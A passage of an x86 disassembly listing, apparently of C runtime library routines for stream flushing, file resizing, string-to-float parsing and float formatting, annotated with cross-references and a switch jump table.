FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5E0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB5C8 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB5C8 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5E0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC700 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB2AC, 5 jnz short loc_424FDC mov dword_4DB2A8, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 25E0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB2A8, 0Dh call near ptr 2670914h nop mov dword_4DB2AC, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB2A8, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C538 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C538 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C538 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C534, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C538 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C534, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C534, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C534, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C534, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call 